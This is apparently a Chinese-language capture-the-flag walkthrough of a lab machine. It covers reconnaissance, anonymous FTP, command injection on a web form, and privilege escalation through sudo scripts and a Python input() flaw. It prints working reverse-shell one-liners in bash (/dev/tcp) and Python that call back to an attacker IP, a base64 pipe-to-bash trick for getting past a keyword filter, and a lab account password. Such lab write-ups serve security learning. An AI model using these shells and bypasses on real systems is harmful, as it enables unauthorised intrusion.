靶機難度:中等
flag 數:2
工具及漏洞信息#
- netdiscover
- nmap
- gobuster
- ftp 匿名登錄下載文件
- echo 的 bash 和 python 反彈 shell
- nc 連接指定 ip 做題腳本
- sudo -l 查看當前用戶權限
- .pyc 文件反編譯
- input () 函數漏洞
- nc 傳輸文件
0x01 信息收集#
掃描靶機#
netdiscover
的-r
參數掃描192.168.1.0/16
或者路由器管理界面查看有線連接的設備得到靶機ip
nmap
掃描主機及端口信息:
nmap -sS -A -n -T4 -p- 192.168.1.7
21
的ftp
服務貌似可以匿名登錄,因為nmap
直接給出了ftp
連接上后的文件內容
那我們ftp
連接一下,查看一下這三個文件的內容:
使用ftp ip
命令連接ftp
服務器,用戶名為匿名:anonymous
,密碼直接回車即可登錄
使用mget *.*
下載所有文件,會確認你是否要下載,直接回車就可以,也可以直接在ftp
交互端cat
查看:
得到的信息似乎是一個賬號和密碼,還有提示我們我們1337
是一個遊戲
ssh
的端口狀態為filtered
就不折騰了
除此之外還有1337
和7331
兩個端口
1337
端口的指紋信息寫著:
Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift
猜測是CTF
中常見的nc
連接然後反彈數學題的操作,和我們上面得到的信息差不多
後面有時間的話會放一個腳本
7331
掃描出的信息中包含http-server-header
和http-title
字段,猜測http
服務開在這個端口
打開看一下,果然是:
掃描漏洞信息#
nmap
掃描漏洞信息:
cd /usr/share/nmap/scripts/
git clone https://github.com/vulnersCom/nmap-vulners
nmap --script nmap-vulners -sV 192.168.1.7
沒有啥可以利用的
掃描路徑#
剛才掃描我們已經知道了web
服務不在默認的80
端口而是7331
,所以掃描的時候也要記得改
gobuster 掃描路徑:
gobuster dir -u http://192.168.1.7:7331/ -s 200,301,302 -t 50 -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
dirbuster
的字典可以通過下載dirbuster
原包,然後把字典移入這個目錄:
wget https://nchc.dl.sourceforge.net/project/dirbuster/DirBuster%20%28jar%20%2B%20lists%29/1.0-RC1/DirBuster-1.0-RC1.tar.bz2
tar -jxf DirBuster-1.0-RC1.tar.bz2
cd DirBuster-1.0-RC1/ && mkdir /usr/share/wordlists/dirbuster/ && mv *.txt /usr/share/wordlists/dirbuster/
掃描出兩個目錄/wish
和/genie
,訪問ip:7331/wish
如下:
隨便輸入東西之後發現跳轉到ip:7331/genie?name=
後面接上執行的命令,猜測此處存在系統命令注入
0x02 網站身份 getshell#
既然能執行系統命令,那就直接nc
反彈一個shell
吧
在msf
中快速開啟監聽:handler -H 192.168.1.11 -P 3333 -p cmd/unix/reverse_bash
在ip:7331/wish
中輸入nc -t -e /bin/bash 192.168.1.11 3333
結果跳轉到genie?name=Wrong+choice+of+words
,說明屏蔽了關鍵詞
配合burpsuite
來探測屏蔽的關鍵詞
- 測試 ls 得到網站根目錄的文件和目錄如下 (%0A 是回車的 URL 編碼)
- app.py
- app.pyc
- static/
- templates/
ls -lah
也能正常運行,說明沒有屏蔽空格
whoami
能正常的到結果www-data
uname -a
知道了這是一台Ubuntu
:
echo whoami
可以執行,於是嘗試使用
bash -i >& /dev/tcp/192.168.1.11/3333 0>&1
- bash -i 表示產生一個 bash 的交互環境
- 0>&1 將標準輸入域標準輸出內容相結合,然後重定向給前面的標準輸出內容
或者用python
來反彈shell
也可以:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.11",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
將上面的命令用base64
加密然後在burp
出輸入以下命令:
echo 加密的內容 | base64 -d | bash
注意,此處由於網頁上執行和burp
執行有編碼的差異,建議如果在burp
上執行的話再把空格和加號用URL
編碼一下
測試後發現python
能反彈shell
0x03 普通用戶 getshell#
拿到執行網站的用戶的shell
之後第一步當然是查看當前目錄文件:
和我們前面用burp
攔截得到的結果一樣,查看了/etc/passwd
得到兩個用戶sam
和nitish
但是他們用戶目錄下的文件沒有查看權限
於是回到網站根目錄來,查看一下app.py
文件的內容:
大致內容是剛才攔截我們的函數代碼,除此之外還得到一個信息:
/home/nitish/.dev/creds.txt
查看這個文件:
得到了nitish
賬戶的密碼p4ssw0rdStr3r0n9
,登錄用戶之前記得要開啟標準的tty
:
python -c 'import pty; pty.spawn("/bin/bash")'
在nitish
用戶目錄下獲取到第一個flag
0x04 提權 root#
查看一下當前用戶能執行哪些sudo
的命令:
當前的nithsh賬戶
可以在不使用密碼的情況下執行sam
用戶的genie
腳本
看一下genie
的用法:
有個-p
參數寫能給我們提供shell
,嘗試一下:
sudo -u sam genie -p "/bin/sh"
-e
和-p
參數都沒用,再用strings
命令查看/usr/bin/genie
的內容
最終知道了還有個參數-cmd
,執行命令獲得sam
的shell
:
sudo -u sam /usr/bin/genie -cmd id
當前賬戶成功切換為sam
,那麼再來看下sam
能以sudo
執行什麼命令:
sam
可以執行lago
腳本,來執行一下看一下:
第一個Be naughty
:
沒啥亂用,第二個Guess the number
:
百分之一的概率,似乎比1337
端口好弄一點,而且python
的input()
的話是有漏洞的
第三個Read some damn files
可以讀文件,但是需要知道路徑,第四個Work
:
也沒啥卵用,再試一下猜數字,不輸入數字,輸入其他的:
發現竟然在輸入num
之後能查看/root
目錄了,執行/root/proof.sh
獲得root
的flag
0x05 獲取shell
原因解密#
我們這純属瞎貓碰死耗子,其實應該是找到python
文件的編譯文件pyc
pyc
是一種二進制文件,是由 Python 文件經過編譯後所生成的文件
然後反編譯出原來的.py
文件,然後再找input
漏洞的,常見的例子如下:
也就是沒有對輸入的字符進行檢測,直接按字符串處理,等於設定好的字符串即輸出結果
所以我們輸入num
恰好成功說明Guess the number
的函數代碼差不多是這麼寫的:
def guess_the_number():
input_number = input("Choose a number between 1 to 100:\nEnter your number:")
if num == input_number:
return True
我這裡嘗試反編譯一下看是不是,查看sam
的用戶目錄:
找到一個.pyc
文件,嘗試把它反編譯成.py
文件
先把它傳輸到攻擊機,這裡使用nc
靶機開啟監聽端口並傳輸文件:nc -lvp 3456 < .pyc
目標機連接靶機並接收文件:nc 192.168.1.6 3456 > .pyc
等待幾秒之後直接在靶機端ctrl+c
結束即可
隨後我們用uncompyle6
反編譯.pyc
,它是uncompyle2
的繼承者
uncompyle2
只專注於python2.7
,雖然有時候準確率比uncompyle6
高
但是大部分情況下還是uncompyle6
準確率高,而且它已經幾乎不再維護了
uncompyle6
支持幾乎你能見到的所有python
版本,安裝如下:
proxychains git clone https://github.com/rocky/python-uncompyle6
cd python-uncompyle6/
pip install -e .
python setup.py install
就安裝完成了,反編譯我們的.pyc
:
uncompyle6 .pyc -o exp.py
果然和我前面猜測的差不多
參考文章:
本文完。